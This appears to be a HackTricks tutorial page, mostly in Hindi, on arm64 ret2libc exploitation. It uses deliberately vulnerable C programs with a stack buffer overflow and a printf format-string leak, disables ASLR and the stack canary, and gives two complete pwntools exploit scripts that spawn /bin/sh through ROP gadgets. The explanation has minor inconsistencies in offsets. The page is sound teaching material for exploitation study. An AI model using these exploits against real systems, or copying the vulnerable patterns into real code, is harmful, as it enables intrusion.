Ret2lib + Printf leak - arm64

HackTricks का समर्थन करें

Ret2lib - NX बायपास ROP के साथ (कोई ASLR नहीं)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

कनरी के बिना संकलित करें:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Find offset

x30 offset

pattern create 200 के साथ एक पैटर्न बनाकर, इसका उपयोग करके और pattern search $x30 के साथ ऑफसेट की जांच करके, हम देख सकते हैं कि ऑफसेट 108 (0x6c) है।

मुख्य फ़ंक्शन के डिस्सेम्बल किए गए रूप पर नज़र डालने पर, हम देख सकते हैं कि हम printf पर सीधे कूदना चाहेंगे, जिसका ऑफसेट बाइनरी के लोड होने के स्थान से 0x860 है:

Find system and /bin/sh string

चूंकि ASLR अक्षम है, पते हमेशा समान होंगे:

Find Gadgets

हमें x0 में /bin/sh स्ट्रिंग का पता होना चाहिए और system को कॉल करना चाहिए।

रोपर का उपयोग करते हुए एक दिलचस्प गैजेट मिला:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

यह गैजेट $sp + 0x18 से x0 लोड करेगा और फिर sp से x29 और x30 के पते लोड करेगा और x30 पर कूद जाएगा। इसलिए इस गैजेट के साथ हम पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर कूद सकते हैं

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE बायपास स्टैक से printf लीक के साथ

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compile बिना कैनरी:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE और ASLR लेकिन कोई कैनरी नहीं

  • राउंड 1:

  • स्टैक से PIE का लीक

  • मेन में वापस जाने के लिए bof का दुरुपयोग

  • राउंड 2:

  • स्टैक से libc का लीक

  • ROP: ret2system

Printf लीक

Printf को कॉल करने से पहले एक ब्रेकपॉइंट सेट करने पर यह देखना संभव है कि स्टैक में बाइनरी पर लौटने के लिए पते और libc पते हैं:

विभिन्न ऑफसेट्स का प्रयास करते समय, %21$p एक बाइनरी पता लीक कर सकता है (PIE बायपास) और %25$p एक libc पता लीक कर सकता है:

libc लीक किए गए पते को libc के बेस पते से घटाने पर, यह देखना संभव है कि बेस से लीक किए गए पते का ऑफसेट 0x49c40 है।

x30 ऑफसेट

पिछले उदाहरण को देखें क्योंकि bof वही है।

गैजेट्स खोजें

पिछले उदाहरण की तरह, हमें x0 में स्ट्रिंग /bin/sh का पता होना चाहिए और system को कॉल करना चाहिए।

Rooper का उपयोग करते हुए एक और दिलचस्प गैजेट मिला:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

यह गैजेट $sp + 0x78 से x0 लोड करेगा और फिर sp से x29 और x30 के पते लोड करेगा और x30 पर कूद जाएगा। इसलिए इस गैजेट के साथ हम पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर कूद सकते हैं

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
HackTricks का समर्थन करें

Last updated